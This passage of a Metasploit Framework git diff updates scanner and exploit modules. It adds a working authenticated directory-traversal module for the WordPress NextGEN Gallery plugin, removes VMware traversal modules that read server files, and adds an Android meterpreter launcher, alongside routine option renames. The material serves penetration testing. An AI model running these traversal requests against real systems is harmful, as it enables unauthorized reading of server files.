print_status("Attempting to login to #{target_url}#{extra_info}") cred_collection = Metasploit::Framework::CredentialCollection.new( blank_passwords: datastore['BLANK_PASSWORDS'], diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb index 41994b6c9e..86472e9648 100644 --- a/modules/auxiliary/scanner/http/trace.rb +++ b/modules/auxiliary/scanner/http/trace.rb @@ -15,9 +15,13 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'HTTP TRACE Detection', - 'Description' => 'Test if TRACE is actually enabled. 405 (Apache) 501(IIS) if its disabled, 200 if it is', - 'Author' => ['CG'], + 'Name' => 'HTTP Cross-Site Tracing Detection', + 'Description' => 'Checks if the host is vulnerable to Cross-Site Tracing (XST)', + 'Author' => + [ + 'Jay Turla <@shipcod3>' , #Cross-Site Tracing (XST) Checker + 'CG' #HTTP TRACE Detection + ], 'License' => MSF_LICENSE ) end @@ -26,39 +30,27 @@ class Metasploit3 < Msf::Auxiliary begin res = send_request_raw({ - 'version' => '1.0', - 'uri' => '/', + 'uri' => '/', #XST Payload 'method' => 'TRACE', - 'headers' => - { - 'Cookie' => "did you echo me back?", - }, - }, 10) + }) - if res.nil? - print_error("no repsonse for #{target_host}") - elsif (res.code == 200) - print_good("#{target_host}:#{rport}-->#{res.code}") - print_good("Response Headers:\n #{res.headers}") - print_good("Response Body:\n #{res.body}") - print_good("TRACE appears to be enabled on #{target_host}:#{rport} \n") - report_note( - :host => target_host, - :port => rport, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :type => 'service.http.method.trace', - :data => "TRACE method is enabled for this service", - :update => :unique_data - ) - elsif (res.code == 501)#Not Implemented - print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #IIS - elsif (res.code == 405)#Method Not Allowed - print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #Apache - else - print_status("#{res.code}") + unless res + vprint_error("#{rhost}:#{rport} did not reply to our request") + return end + if res.body.to_s.index('/') + print_good("#{rhost}:#{rport} is vulnerable to Cross-Site Tracing") + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :info => "Vulnerable to Cross-Site Tracing", + ) + else + vprint_error("#{rhost}:#{rport} returned #{res.code} #{res.message}") + end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end diff --git a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb deleted file mode 100644 index ad5a26474b..0000000000 --- a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb +++ /dev/null @@ -1,87 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - # Exploit mixins should be called first - include Msf::Exploit::Remote::HttpClient - # Scanner mixin should be near last - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report - include Msf::Module::Deprecated - - deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_server_dir_trav') - - def initialize - super( - 'Name' => 'VMware Server Directory Traversal Vulnerability', - 'Description' => 'This modules exploits the VMware Server Directory Traversal - vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before - 2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5 - allows remote attackers to read arbitrary files. Common VMware server ports - 80/8222 and 443/8333 SSL. If you want to download the entire VM, check out - the gueststealer tool.', - 'Author' => 'CG' , - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2009-0015.html' ], - [ 'OSVDB', '59440' ], - [ 'BID', '36842' ], - [ 'CVE', '2009-3733' ], - [ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ] - ] - ) - register_options( - [ - Opt::RPORT(8222), - OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']), - OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']), - ], self.class) - end - - def run_host(target_host) - - begin - file = datastore['FILE'] - trav = datastore['TRAV'] - res = send_request_raw({ - 'uri' => trav+file, - 'version' => '1.1', - 'method' => 'GET' - }, 25) - - if res.nil? - print_error("Connection timed out") - return - end - - if res.code == 200 - #print_status("Output Of Requested File:\n#{res.body}") - print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability") - report_vuln( - { - :host => target_host, - :port => rport, - :proto => 'tcp', - :name => self.name, - :info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}", - :refs => self.references, - :exploited_at => Time.now.utc - } - ) - else - vprint_status("Received #{res.code} for #{trav}#{file}") - end - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e - print_error(e.message) - rescue ::Timeout::Error, ::Errno::EPIPE - end - end - -end diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb deleted file mode 100644 index 837ab58a29..0000000000 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ /dev/null @@ -1,75 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner - include Msf::Module::Deprecated - - deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_update_manager_traversal') - - def initialize(info={}) - super(update_info(info, - 'Name' => "VMWare Update Manager 4 Directory Traversal", - 'Description' => %q{ - This modules exploits a directory traversal vulnerability in VMWare Update Manager - on port 9084. Versions affected by this vulnerability: vCenter Update Manager - 4.1 prior to Update 2, vCenter Update Manager 4 Update 4. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Alexey Sintsov', #Initial discovery, poc - 'sinn3r' #Metasploit - ], - 'References' => - [ - ['CVE', '2011-4404'], - ['EDB', '18138'], - ['URL', 'http://www.vmware.com/security/advisories/VMSA-2011-0014.html'], - ['URL', 'http://dsecrg.com/pages/vul/show.php?id=342'] - ], - 'DisclosureDate' => "Nov 21 2011")) - - register_options( - [ - Opt::RPORT(9084), - OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), - OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini']) - ], self.class) - end - - def run_host(ip) - fname = File.basename(datastore['FILE']) - traversal = ".\\..\\..\\..\\..\\..\\..\\..\\" - uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE'] - - print_status("#{rhost}:#{rport} - Requesting: #{uri}") - - res = send_request_raw({ - 'method' => 'GET', - 'uri' => uri - }, 25) - - # If there's no response, don't bother - if res.nil? or res.body.empty? - print_error("No content retrieved from: #{ip}") - return - end - - if res.code == 404 - print_error("#{rhost}:#{rport} - File not found") - return - else - print_good("File retrieved from: #{ip}") - p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname) - print_status("File stored in: #{p}") - end - end -end diff --git a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb new file mode 100644 index 0000000000..9805311524 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'json' +require 'nokogiri' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress NextGEN Gallery Directory Read Vulnerability', + 'Description' => %q{ + This module exploits an authenticated directory traversal vulnerability + in WordPress Plugin "NextGEN Gallery" version 2.1.7, allowing + to read arbitrary directories with the web server privileges. + }, + 'References' => + [ + ['WPVDB', '8165'], + ['URL', 'http://permalink.gmane.org/gmane.comp.security.oss.general/17650'] + ], + 'Author' => + [ + 'Sathish Kumar', # Vulnerability Discovery + 'Roberto Soares Espreto ' # Metasploit Module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('WP_USER', [true, 'A valid username', nil]), + OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]), + OptString.new('DIRPATH', [true, 'The path to the directory to read', '/etc/']), + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) + ], self.class) + end + + def user + datastore['WP_USER'] + end + + def password + datastore['WP_PASS'] + end + + def check + check_plugin_version_from_readme('nextgen-gallery', '2.1.9') + end + + def get_nonce(cookie) + res = send_request_cgi( + 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'), + 'method' => 'GET', + 'vars_get' => { + 'page' => 'ngg_addgallery' + }, + 'cookie' => cookie + ) + + if res && res.redirect? && res.redirection + location = res.redirection + print_status("#{peer} - Following redirect to #{location}") + res = send_request_cgi( + 'uri' => location, + 'method' => 'GET', + 'cookie' => cookie + ) + end + + res.body.scan(/var browse_params = {"nextgen_upload_image_sec":"(.+)"};/).flatten.first + end + + def parse_paths(res) + begin + j = JSON.parse(res.body) + rescue JSON::ParserError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + return [] + end + + html = j['html'] + noko = Nokogiri::HTML(html) + links = noko.search('a') + links.collect { |e| normalize_uri("#{datastore['DIRPATH']}/#{e.text}") } + end + + def run_host(ip) + vprint_status("#{peer} - Trying to login as: #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as: #{user}") + return + end + + vprint_status("#{peer} - Trying to get nonce...") + nonce = get_nonce(cookie) + if nonce.nil? + print_error("#{peer} - Can not get nonce after login") + return + end + vprint_status("#{peer} - Got nonce: #{nonce}") + + traversal = "../" * datastore['DEPTH'] + filename = datastore['DIRPATH'] + filename = filename[1, filename.length] if filename =~ /^\// + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'headers' => { + 'Referer' => "http://#{rhost}/wordpress/wp-admin/admin.php?page=ngg_addgallery", + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_get' => { + 'photocrati_ajax' => '1' + }, + 'vars_post' => { + 'nextgen_upload_image_sec' => "#{nonce}", + 'action' => 'browse_folder', + 'dir' => "#{traversal}#{filename}" + }, + 'cookie' => cookie + ) + + if res && res.code == 200 + + paths = parse_paths(res) + vprint_line(paths * "\n") + + fname = datastore['DIRPATH'] + path = store_loot( + 'nextgen.traversal', + 'text/plain', + ip, + paths * "\n", + fname + ) + + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Nothing was downloaded. You can try to change the DIRPATH.") + end + end +end diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb new file mode 100644 index 0000000000..74a8687efb --- /dev/null +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -0,0 +1,51 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::LLMNR + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'LLMNR Query', + 'Description' => %q( + This module sends LLMNR queries, which are really just normal UDP DNS + queries done (usually) over multicast on a different port, 5355. + Targets other than the default RHOSTS' 224.0.0.252 should not respond + but may anyway. + ), + 'Author' => + [ + 'Jon Hart ' + ], + 'License' => MSF_LICENSE + ) + ) + end + + def scanner_prescan(batch) + print_status("Sending LLMNR #{query_type_name}/#{query_class_name} queries for #{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)") + @results = {} + end + + def scanner_postscan(_batch) + found = {} + @results.each_pair do |peer, resps| + resps.each do |resp| + found[peer] ||= {} + next if found[peer][resp] + response_info = describe_response(resp) + print_good("#{peer} responded with #{response_info}") + report_service(host: peer, port: rport, proto: "udp", name: "llmnr", info: response_info) + found[peer][resp] = true + end + end + end +end diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb new file mode 100644 index 0000000000..4412818e31 --- /dev/null +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -0,0 +1,50 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::MDNS + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'mDNS Query', + 'Description' => %q( + This module sends mDNS queries, which are really just normal UDP DNS + queries done (usually) over multicast on a different port, 5353. + ), + 'Author' => + [ + 'Jon Hart ' + ], + 'License' => MSF_LICENSE + ) + ) + end + + def scanner_prescan(batch) + print_status("Sending mDNS #{query_type_name} #{query_class_name} queries for " \ + "#{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)") + @results = {} + end + + def scanner_postscan(_batch) + found = {} + @results.each_pair do |peer, resps| + resps.each do |resp| + found[peer] ||= {} + next if found[peer][resp] + response_info = describe_response(resp) + print_good("#{peer} responded with #{response_info}") + report_service(host: peer, port: rport, proto: "udp", name: "mdns", info: response_info) + found[peer][resp] = true + end + end + end +end diff --git a/modules/auxiliary/server/android_browsable_msf_launch.rb b/modules/auxiliary/server/android_browsable_msf_launch.rb new file mode 100644 index 0000000000..7d603eb953 --- /dev/null +++ b/modules/auxiliary/server/android_browsable_msf_launch.rb @@ -0,0 +1,53 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Android Meterpreter Browsable Launcher", + 'Description' => %q{ + This module allows you to open an android meterpreter via a browser. An Android + meterpreter must be installed as an application beforehand on the target device + in order to use this. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => + [ + [ 'URL', 'http://developer.android.com/reference/android/content/Intent.html#CATEGORY_BROWSABLE' ] + ] + )) + end + + def run + exploit + end + + def html +%Q| + + + + + + +| + end + + def on_request_uri(cli, request) + print_status("Sending HTML...") + send_response(cli, html) + end + +end diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 1cb15a9101..2b6fdc0353 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Payload' => { diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index 92758f4152..782cd0a2e1 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'none' + 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 17296c5055..5eef56db31 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb index ca6a24c3da..ca0376af14 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'WfsDelay' => 300, #5 minutes 'DisablePayloadHandler' => 'false', - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index 67cb01534f..f8d475ac63 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => 'none' + 'EXITFUNC' => 'thread' }, 'Targets' => [ diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index ea71d4ea05..9a3a544ed4 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'none' + 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index ff70cf386d..f79e544ae1 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => ['linux'], 'Arch' => ARCH_X86, diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb index 6c60536356..adaf2121bd 100644 --- a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb +++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Payload' => { diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 96f568d23b..da603fe255 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Payload' => { diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 9886a77bf7..6b2f6d616e 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index c11754860d..63fc450568 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 5873e2705b..3ad9e76d64 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -35,7 +35,13 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => %w{ win linux unix }, 'Targets' => [ - ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], + ['Windows', + { + 'Arch' => [ ARCH_X86_64, ARCH_X86 ], + 'Platform' => 'win', + 'CmdStagerFlavor' => [ 'certutil', 'vbs' ] + } + ], ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index c7b8ba285e..5360e33007 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index 642b983080..8f8a58f69d 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 1e03ea297d..2b5fe040b1 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => %w{ linux php }, 'Targets' => diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index ea07c3e3f2..b64dc1083e 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index f7a72adae9..41e4dfa4da 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index 79008a0c42..44cedf1ed7 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Arch' => ARCH_PHP, 'Platform' => ['php'], diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index d78c68eebc..e1b3ec975e 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => %w{ java linux win }, 'Targets' => diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index a30eb0a5e5..01ea41fc06 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => %w{ linux unix }, 'Arch' => ARCH_CMD, diff --git a/modules/exploits/osx/local/dyld_print_to_file_root.rb b/modules/exploits/osx/local/dyld_print_to_file_root.rb index 31f6a035a2..28008e88b5 100644 --- a/modules/exploits/osx/local/dyld_print_to_file_root.rb +++ b/modules/exploits/osx/local/dyld_print_to_file_root.rb @@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local end def check - (ver?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe + (ver?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe end def ver? diff --git a/modules/exploits/osx/local/iokit_keyboard_root.rb b/modules/exploits/osx/local/iokit_keyboard_root.rb index f35c7526c9..e0b2c5f914 100644 --- a/modules/exploits/osx/local/iokit_keyboard_root.rb +++ b/modules/exploits/osx/local/iokit_keyboard_root.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local def check if ver_lt(osx_ver, "10.10") - Exploit::CheckCode::Vulnerable + Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end diff --git a/modules/exploits/osx/local/nfs_mount_root.rb b/modules/exploits/osx/local/nfs_mount_root.rb index e9636e54b5..c4683889ab 100644 --- a/modules/exploits/osx/local/nfs_mount_root.rb +++ b/modules/exploits/osx/local/nfs_mount_root.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local def check if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8" - Exploit::CheckCode::Vulnerable + Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end diff --git a/modules/exploits/osx/local/rootpipe.rb b/modules/exploits/osx/local/rootpipe.rb index eaf27a9356..f22d6cb6a2 100644 --- a/modules/exploits/osx/local/rootpipe.rb +++ b/modules/exploits/osx/local/rootpipe.rb @@ -60,7 +60,7 @@ class Metasploit4 < Msf::Exploit::Local end def check - (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe + (ver? && admin?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb index 80ca7d5ecb..0a031f7a11 100644 --- a/modules/exploits/osx/local/rootpipe_entitlements.rb +++ b/modules/exploits/osx/local/rootpipe_entitlements.rb @@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Local def check if ver? && admin? vprint_status("Version is between 10.9 and 10.10.3, and is admin.") - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb index 002e91cde3..62157107f4 100644 --- a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb +++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 75e2c1b2b6..a218ee92b0 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 48283d3cf8..9e01b897dc 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => 'none' + 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 73e429eb4e..722f946e36 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb 